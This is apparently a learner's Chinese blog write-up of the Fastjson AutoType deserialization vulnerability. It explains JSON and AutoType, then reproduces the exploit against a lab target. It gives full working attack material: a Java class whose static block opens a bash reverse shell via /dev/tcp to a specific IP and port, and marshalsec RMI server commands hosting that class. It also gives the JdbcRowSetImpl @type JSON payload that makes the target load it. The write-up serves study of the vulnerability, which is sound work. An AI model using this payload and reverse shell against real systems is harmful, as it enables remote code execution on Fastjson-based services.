目录
什么是json?
fastjson有啥用?
什么是fastjson?
json语法规则
为什么要引进AutoType?
漏洞原理
怎么确认存在漏洞的?
漏洞复现
反弹shell
前言:
干什么事情都要坚持到底一定一定可以成功哒!!!学习真是痛并快乐着!
在此鸣谢郭师傅对我的悉心教导!听我说谢谢你!
看到这个漏洞我想先得知道什么是json?
什么是fastjson?
充满着疑惑去查阅资料理解一下子!
json的全称是JavaScript object notation。即JavaScript对象标记法。
json是储存和交换文本信息的语法与xml类似。
json比xml更快更小更容易解析。
json是key/value储存,理论上key支持string,number类型,value几乎支持所有类型。
json 的本质是字符串。
总之json它的本质是字符串,是用来存储和交换文本信息的语法。是常见的轻量级的数据交换格式。
java在传输过程中我们要将对象转换为json格式便于传输,因为json格式一般能够解析大多数的对象格式,而不在乎编程语言。
然后呢主流对象和json的传输工具很多很多,fastjson就是一个就是阿里巴巴的开源库。
Fastjson 是一个java类库,可以被用来序列化把Java对象转换成Json方式.也可以反序列化把Json字符串转换成对应的Java对象.Fastjson可以作用于任何Java对象,包含没有源代码已存在的对象.
json的语法规则:
数值用[]表示
对象用{}表示
名称/值对(name/value)组成数组和对象
name在双引号中,value有字符串,数值,null和数组。
简单的一个:
{
"name":"dyh",
"age":22,
"fruits":["apple","pears","banana"]
}
好啦了解了以上内容就要开始今天的漏洞了!
想要把java对象转换为json字符串可以有两种选择:1.基于属性2.基于setter/getter
(getter是获取对应的属性值 setter是对对应属性值进行修改)
fastjson在把对象转换为字符串时就是通过遍历该类目所有的getter方法进行的。
(我的理解是他在把对象转换成字符串的时候会扫描其中的getter方法,然后找到getxxx,这时候他会将找到的xxx字段序列化到json字符串。)
但是当一个类只有一个接口的时候在使用这个进行序列化的时候,就会将子类抹去只保留接口的类型,最后导致反序列化无法得到原始类型。
那为了解决这个问题就是引进了autotype(在序列化时,把原始类型记录下来)。它使用的方法是SerializerFeature.WriteClassName进行标记的。
使用SerializerFeature.WriteClassName进行标记后,JSON字符串中多出了一个@type字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型
但是!!!也正是因为引进了autotype才导致了漏洞!
因为引进了AutoType功能,fastjson在对json字符串反序列化的时候,会读取到type到内容,将json内容反序列化为java对象并调用这个类的setter方法。
那是不是可以利用这个特性,自己构造json字符串然后使用@Type标记指定一个自己想要使用的攻击类库。然后fastjson会自己构造的json字符串反序列化然后执行。
1.攻击者访问目标网站,通过burpsuite抓包,以json格式添加jdbcrowsetlmpl恶意类信息发送给目标机。
2.目标机对json反序列化时候,会加载执行攻击者构造的信息(访问rmi服务器),rmi给靶机下发命令。
3.靶机得到rmi的服务的相应,去执行dnslog类。
先打开搭好的靶场~端口8090
用burpsuite抓包
先输入如下回显成功我们写入的json经过了处理。
随便输入错误的json字符串报错,此时可能存在fastjson漏洞
或者是验证dnslg
PS:我没验证成功呜呜呜~
靶机
攻击机:搭建web服务器和rmi服务接受反弹shell
目标环境是openjdk:8u102,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以简单利用RMI进行命令执行。
1.保存以下代码为 TouchFile.java文件然后用javac编译成.class文件
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
2. 安装好环境mvn和marshalsec都在服务器内下载好!
marshalsec下载:
git clone
https://github.com/mbechler/marshalsec.git
mvn下载:apt install mvn
然后用mvn编译生成marshalsec.jar包(或者可以直接有包直接用就ok就不用编译了)
mvn clean package -DskipTests
3.把生成的.clsss文件传到公网wps的marshalsec/target目录下
然后通过python3启动一个简单的http服务:python3 -m http.server 8088
用window10物理机打开页面如下
4.使用marshalsec项目在wps里启动rmi服务并且监听端口远程加载TouchFile.class类。
进入target目录
java -cp marshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.RMIRefServer “http://刚刚上传的TouchFile.class的vps地址/#TouchFile” 9001
5.我们抓包然后修改
查看vps上的web服务器和rmi服务分别记录的信息~
那我们写入恶意类然后将他放在marshalsec/target目录下并用python开一个简单的服务器8088端口,然后用rmi服务开一个9001端口去监听8088端口即服务器内的那个.class类。然后我们在漏洞页面靶机8090端口抓包,写入json字符串使得去解析咱们写入的.class.类。这时候解析了我们写入的恶意代码,8088端口的python服务器和9001端口的rmi服务会有信息记录。
延申知识!
mvn?
Apache提供开源的项目构建工具。
项目构建:项目创建、编译、测试、打包(java项目–jar | web项目–war)、部署、维护等一系列流程。
先来一个图理解一下子
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/101.35.15.184/1888 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
还是将其编译为.class文件。
2.把生成的.class文件传到vps上的marshalsec/target目录下并且用python开一个简单的服务器端口还是8088哦
3.用marshalsec开启rmi服务端口还是9001哦~
4.开启监听端口1888用来反弹shell
5.抓包发送payload发送即可。
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://101.35.15.184:9001/TouchFile",
"autoCommit":true
}
}
终于经过我的奋战终于反弹成功了!!!